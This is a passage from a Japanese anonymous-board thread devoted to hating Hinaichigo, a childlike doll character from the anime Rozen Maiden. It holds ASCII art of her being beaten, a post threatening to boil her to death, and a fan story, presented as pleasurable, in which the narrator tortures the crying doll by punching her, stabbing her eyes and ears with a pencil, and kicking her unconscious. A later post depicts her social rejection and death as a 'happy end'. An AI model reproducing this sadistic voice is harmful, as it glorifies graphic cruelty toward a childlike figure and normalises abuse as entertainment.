              (⌒i  iノリ)))〉       <レl从^^从`、
           バキィ!ヽヽ!l|.゚ ー゚ソ  :(⌒ミ( //<口∀口レu/
            バキィ!!ヽ  l| |l(:;;:( ドガァ!///ヽ、  _`ヽゴスッ!!
           ('⌒;ヾ / '/ li| l!グシャァ!!\从从///'ミ_/ヽドゴッ!!
            (⌒)y'⌒;ヾ从从(⌒〜∵;)´⌒`つ,;(´(´⌒;"'ボキボキボキッ
           (´⌒ー-    ;:.|/((ノ))::;w 彡(:::゜`)。(;;;)、⌒从;;ノ・`⌒);
         (´;⌒(´⌒;;' ~ヽと;;;;;#;、゚;ミ,,:,,;;;、ミ,,:,,;;;ヽ/ノ:#`""^ヾ⌒));
 ̄ ̄(´⌒;,( ,(゙゙゙'゛""゙゙)゙'';"(´⌒;,(´,(´⌒;) ⊂;:;∴::・;:;:;:;∴::;;,::⊃

              /ヽへ/l、            _
             〆     >         '´    ヽ
            <レl从^^从`、         i  iノリ)))〉
     ,;;ハ,;,、, ..  ペッ<c_,□レu/         ヽ!l|.゚ ー゚ソ!
 ,',i><iヽ|l |#:;)々。#) ´(l^Y ll)           (li水l)
 {{~(,;,#,"ヾ);U.."`.゚     |._ハ_.|            く/_|l
.,.{{と,;ノc_}.;,.. [ ̄].;:   ゝ' ゝ             し'ノ

92: ミーディアム@薔薇乙女:06/11/21 21:40 ID:fK5Pqtp6
微妙なズレを修正

   _                                  /ヽへ/l、
  '´    ヽ         ',i><iヽ                 〆     >
 i  iノリ)))〉       /((ノノリノ)) ♪               <レl从^^从`、
 ヽ!l|.゚ ‐゚ソ!        ((ミi!^ヮ^ノミ))                <口 _ 口レu/
   (li水l)         ⊂)夲!つ                   (ll^Y^l)
   く/_|l          (ム!,,jム)                    |._ハ_.|
   し'ノ           し'ノ                     ゝ' ゝ'
                            /ヽへ/l、  
         _                〆     >
        '´    ヽ             <レl从^^从`、
 ―=≡三 i  iノリ)))〉  \从从///    <口A,口#レu/ 三≡=―
―=≡三とヽ!l|.#゚ ‐゚ソつ''" ((ノリノ));''"´ "''::;(ll^Y^lつ 三≡=―
 ―=≡三 ヽ     ̄ ̄⌒)゚д。(;;;((⌒ ̄ ̄ ̄_  ) 三≡=―
 ―=≡三 /  / ̄ ̄´"'''⊂;;;#':*,'´''::;;;;::'''"´ ̄ヽ \ 三≡=―
 ―=≡三 \__); ///(_ ,、 `^)^) \\\   (__) 三≡=―

                  _            /ヽへ/l、
                 '´    ヽ        〆     >
              (⌒i  iノリ)))〉       <レl从^^从`、
           バキィ!ヽヽ!l|.゚ ー゚ソ  :(⌒ミ( //<口∀口レu/
            バキィ!!ヽ  l| |l(:;;:( ドガァ!///ヽ、  _`ヽゴスッ!!
           ('⌒;ヾ / '/ li| l!グシャァ!!\从从///'ミ_/ヽドゴッ!!
            (⌒)y'⌒;ヾ从从(⌒〜∵;)´⌒`つ,;(´(´⌒;"'ボキボキボキッ
           (´⌒ー-    ;:.|/((ノ))::;w 彡(:::゜`)。(;;;)、⌒从;;ノ・`⌒);
         (´;⌒(´⌒;;' ~ヽと;;;;;#;、゚;ミ,,:,,;;;、ミ,,:,,;;;ヽ/ノ:#`""^ヾ⌒));
 ̄ ̄(´⌒;,( ,(゙゙゙'゛""゙゙)゙'';"(´⌒;,(´,(´⌒;) ⊂;:;∴::・;:;:;:;∴::;;,::⊃

               /ヽへ/l、            _
              〆     >         '´    ヽ
             <レl从^^从`、         i  iノリ)))〉
     ,;;ハ,;,、, ..  ペッ<c_,□レu/         ヽ!l|.^‐^ソ!
 ,',i><iヽ|l |#:;)々。#) ´(l^Y ll)           (li水l)
 {{~(,;,#,"ヾ);U.."`.゚    |._ハ_.|             く/_|l
.,.{{と,;ノc_}.;,.. [ ̄].;:  ゝ' ゝ              し'ノ

93: :06/12/16 08:49 ID:???
test
      .ィ/~~~' 、.
    、_/ /  ̄`ヽ}                 ,',i><iヽ
    ,》@ i(从_从))ギュワーン        .;*∵/((ノ。リノ))   あ゛ん゛ま゛ー!!!
    ||ヽ||#゚ ー゚ノ||   ,、,、,、,、,、,、,、 ';∴+  〈《(* 々゚ノ)つ
    || 〈iミ''つ|匚)巛|}三三三三)》 /,  つ / ":;.:*;;.゚;・.
    ≦ ノ,ノハヽ、≧         (_(_   /
    テ ` -tッァ-' テ           し ヽJ


94: :07/04/20 18:51 ID:LhHwRJqg
糞苺茹でころしてやる

95: 名無し:07/08/07 00:19 ID:???
どーでもいいだろ?だってしょせんアニメのキャラ。なに優越感に浸ってんだよ。

96: 仲村:07/08/07 07:12 ID:???
デュードって痛い人間だな。

97: :07/08/07 14:05 ID:???
>>95
このssなんか快感じゃない?

「いいこと雛苺、下僕として許されるのはこの線までよ」
「うー」
「うーじゃないでしょ」
「あー」
 この前突然やって来た真紅とか言う人形が、仲間をつれてきたらしい。ドアの前でなにやらもめだした。
「ほら、これを使ってドアをあけるの」
人形のステッキを使って不器用にドアを開けようとするが、当然あけられない。
そんなやり取りを見ていた俺は、いいかげん、いらついてきた。
「あー、俺があけてやるよ。ほらでてって。」
「あらごくろう。」
 そっけないせりふを残して、すたすたと一階におりていく。ああクソ生意気なやつだな、
そんなふうに思いながらドアをしめる。すると、出て行ったとばかり思っていたあいつの仲間が、ボーっとたっている。
そいつはしばらく、じーっとこちらを見ると、媚びたような笑みをうかべて、
「えへぇ、あそぼ」
 妙になれなれしく話しかけてきた。妙にいじめたくなる顔つきだ。さっきのでイライラきていた俺は、
こいつでストレス解消を、することにした。





98: :07/08/07 14:08 ID:???
「ふーん、あそびたいんだ。じゃあ、あそんであげる。なにしようか?」
「わーい。えっとね、ヒナはね、クレヨンでおえかきがしたいのー」
 無邪気にものってきた。ほんとにお子様だな。
「うーん、ごめんね。クレヨンはないんだ。かわりにデコピン遊びをしよう。」
「うゅ?デコピンてなーに?」
「こうやって、じゃんけんして勝ったほうが指でぴんってはじくんだ。」
「うー・・じゃんけんってなんなのー」
 いちいち、いらいらさせやがる。簡単にルールを説明してやって、強引にじゃんけんにもちこむ。
「じゃんけんぽーん。あ、ヒナちゃんのまけだ。じゃあデコピンするよ。」
 こいつがパーで俺がグーだったが、よくわかってないらしい。おれが勝ったことにした。
最初はやさしくおでこに、デコピンをしてやる。
「えへへ。デコピンおもしろいのー。つぎはヒナがかつのー」
「まだ終わってないよ。勝ったほうが、いいって言うまでデコピンできるんだ。」
 じょじょに力を強くしながら、デコピンを何度もくりかえす。
そのうち痛くなってきたようで、涙目になっていやがりだした。
「やー!デコピンいやー!もうやめるのー!」
 もちろん、こんなところでやめるつもりはない。
とっさに逃げようとしたので、髪の毛をつかんでひきよせる。
「だめだろ?まけたんだから、言うこと聞かないと。」
 顔をむりやりこちらに向けさせると、顔中にMAXの力でデコピンしまくる。
ほっぺた、鼻、眼球と順番にきめていくと、たまらずに大声で泣き喚きだした。
「うあーー!!いたいのーー!!やめてなのーー!!」
 顔を防御しようと、ちいさな手で顔をかくす。
「おい、これじゃ続けられないだろ。」
 がらあきになった腹におもいっきり、こぶしを叩きつける。
「お・・おごぇ・・・」
 腹をかかえ、背中をまるめてうずくまる。
苦しそうにけいれんしている様をみて、ますますいじめたくなってきた
なにか道具はないかと、机のひきだしを探してみる。
俺が離れたすきに逃げようと、よろよろとドアのほうにはっていくが、
自分でドアも開けられない奴だ。逃げられるわけがない。
冷笑を浮かべと机を物色する。いいものがないが、まあ、これでいいか。
ゆっくりと、やつに近づき片手で持ち上げる。
再びやつの髪の毛をつかんで顔をこちらに向かせる
 また始まる痛みの恐怖に、涙目を大きく見開いてふるえている。
「あわわわ・・やめて、やめてなの・・・」
 必死に懇願してくるが、こんなときにまで「なの」とか言っているのが妙にむかつく。
「ほら、こんどはこれだよ。」
 目の前で、机からとってきたシャープペンをちらつかせると、
何をされるのかわかったらしく、小さな両手で目を隠す。
「あーー!!それはいやなのー!!」
 すきだらけになった耳の穴に、シャープペンを奥まで一気に突っ込んでやる。
「びゃっ!!!」
 変な叫び声をあげて、ビクッと全身を硬直させる。
とっさに耳をかばいにいったので目ががらあきになった。
閉じたまぶたの上から、シャープペンを突き立ててやる。
「うおぉぉぉーーー!!!いたぎゃぁぁーーーー!!!」
 また耳ががら空きだ、ほらブスッ。
 耳をかばいにきたか、次は以外にもへそ。
 ほら、顔面ががら空きだ、鼻。
「びゃひ!!」「ぎぃ!!」「ぼうぉ!!」
 突き刺すたびに、奇妙な声で鳴きやがる。
 つかんだ手をはなし、放り投げると、目を押さえ泣き喚きながら床の上を転がりだした。
しばらくそうしていたが、やがて疲れたのか、うつぶせで
「うっ・・、うっ・・、と、ともぇ・・・」
 と断続的にうめき声をあげだした。その横腹をおもいっきり蹴飛ばしてやると、
ついに口から泡を吹いて気絶してしまった。
手足をちぢこませて、白目を剥いている姿は滑稽そのものだな

99: :07/08/10 17:12 ID:WwWwGjKY
水銀燈「貴方みたいなゴミは姉妹の恥だから早く死になさぁい。」
金糸雀「雛苺の口、ドブのような匂いがするかしら…。」
翠星石「…もう、お前とは口も聞きたくないです。二度と視界に入ってくるなですぅ。」
蒼星石「どうして生きてるんだろう…恥ずかしくないのかな?」
真紅「いいえ、私の妹は雪華綺晶一人しかいないわ。」
雪華綺晶「…汚い…醜い…あぁなんて哀れなジャンク。」

糞苺「んあー?あんまー」

   ,',i><iヽ
  /((ノ。リノ))
  〈《(* 々`ノ) ぅ…ぅぅ…とぅもえ
  / U  U  
  しーーJ

巴「雛苺?そんなの知らない」

   ,',i><iヽ
  /((ノ。リノ))
  〈《(* 々`ノ) ぅー…ゃ…のりぃ、ジュン…
  / U  U  
  しーーJ

JUM「雛苺?誰だそれ?おい、真紅知ってるか?」
のり「雛苺?知らないわよ?山本君なら知ってるけど」

   ,',i><iヽ
  /((ノ_リノ))
  〈《(* 々`ノ) ぅぅ…ぃゃぁ…おとぅ…さま…
  / U  U  
  しーーJ

ローゼン「お前が私の娘?馬鹿な。私がこのような駄作を廃棄せずに放っておくはずが無い。」

   ,',i><iヽ
  /((ノ_リノ))
  〈《(* 々⊂) ちゃ…ぁ…ぅぅ
  / U |  
  しーーJ

;ヾ ヾ ;ヾ ヾ ;ヾ;" ;";ヾ  ";ヾ ;;ヾ ;ヾ
"ヾ;";"ヾ ;ヾ ;ヾ ;ヾ  ";; ;ヾ ;ヾ" ;;
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ヾ ;"ヾ   ; ;"  ;;ヾ 〃";  ||  "" ;ヾ ;ヾ
 ヾ;" ヾ;"i  i  l;"//,',i><iヽ
   ;ヾ'|i   l  l i|/ /゙ /((ノ_リノ))
    |ll l | |゛l|/"  〈《(* 々`ノ)    さ  よ  う  な  ら
    || | ll | |.   / U U
    | l | ゛ |  | |   し'ーーJ          糞    苺
    |||│ |゛|    ;
    | l | ゛ |  | l
     || | ゛ | l |、 ,,,,,,   ,,,,,,,,    ,,,,,
    ノノ 人 ヾ、 ヽ、   ,,,     ,,,,

こうして、誰にも相手をされなくなった糞苺はひっそりとその人(形)生を終えたのでしたとさ
めでたしめでたし─HAPPY END





100: k:07/08/15 23:44 ID:???
88に同意



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